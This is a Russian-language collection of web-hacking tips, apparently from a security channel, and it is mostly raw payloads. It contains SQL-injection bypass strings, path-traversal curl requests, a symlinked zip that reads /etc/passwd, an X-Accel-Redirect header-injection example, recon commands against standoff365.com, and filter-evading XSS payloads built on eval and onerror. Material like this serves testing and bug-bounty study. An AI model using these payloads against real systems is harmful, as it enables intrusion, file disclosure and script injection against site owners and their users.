☝️Если при эксплуатации SQL-инъекции сервер пятисотит, при этом обычные булевые инъекции дают нестабильные результаты, попробуй пэйлоады из примеров. Они должны вызывать 500-ю ошибку в случае, когда условие (1=1) истинно.

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: MISS
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 6
X-Cache: HIT

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
Authorization: test

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 12
X-Cache: HIT

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 5
X-Cache: HIT

Все новое — это хорошо забытое старое

INSERT INTO users (username, email, password)
VALUES ('x' or 1=1 -- -', 'test@example.com', 'hash');

INSERT INTO users (username, email, password)
VALUES ('x', (SELECT version()), 'y')-- -', 'test@example.com', 'hash');

'/**/OR/**/1=1--/**/-

'OR%0A1=1--%0A-

'OR(1=1)-- -

'oR 1=1-- -
'Or 1=1-- -
'OR 1=1-- -

curl --path-as-is https://api.example.com/sdalksjdeiu1/customer-serivice/endpoint1

curl --path-as-is https://api.example.com/sdalksjdeiu1/../customer-serivice/endpoint1
curl --path-as-is https://api.example.com/sdalksjdeiu1/..%2F/customer-serivice/endpoint1
curl --path-as-is https://api.example.com/sdalksjdeiu1/..%252Fcustomer-serivice/endpoint1

<z>"z'z`%}})z${{z\

$ ln -s /etc/passwd test.txt
$ zip --symlinks test.zip test.txt

https://domain.com/test.txt

id: 6620a595-520b-1ba2-2b20-5ea8568fdb89
name: Filter JSON responses with incorrect content type
function: VIEW_FILTER
location: PROXY_HTTP_HISTORY
source: |+

  return !requestResponse.request().method().equals("OPTIONS");

  var contentType = requestResponse.hasResponse() ? requestResponse.response().headerValue("Content-Type") : null;

  if (contentType != null && !contentType.contains("application/json")) {
    String body = requestResponse.response().bodyToString().trim();

    return body.startsWith( "{" ) || body.startsWith( "[" );
  }

  return false;

@app.route('/')
def index():
    headers = json.loads(unquote(request.args.get("headers")))
    return Response("Hello, world!", headers=headers)

GET /?headers={"X-Accel-Redirect":"/internal"} HTTP/1.1

HTTP/1.1 200 OK
...

Internal

const element = createElement(type, props, ...children)

-Djdk.tls.maxHandshakeMessageSize=65536

asnmap -asn AS51115 -silent 

echo "178.248.233.0/24" | dnsx -ptr -resp -o reverse_dns.txt

echo "178.248.233.0/24" | tlsx -p 443,3443,8443,9443,10443 -cn -san -o tlsx_result.txt

revwhoix -k "Positive Technologies, CJSC"

subfinder -d standoff365.com -silent

puredns bruteforce wordlist.txt standoff365.com -w subdomains_standoff365.com.txt

cat subdomains_standoff365.com.txt | alterx | dnsx -o alterx_resolved_subdomains_standoff365.com.txt

alert`test`

Function`alert\u00281\u0029` ``

Function`_${location.hash.slice`1`}` ``

onerror = eval
throw '=alert\x281\u0029'

{onerror=alert}throw 1

throw onerror=alert,1

throw onerror=eval,x=new Error,x.message='alert\x281\x29',x

throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]

TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']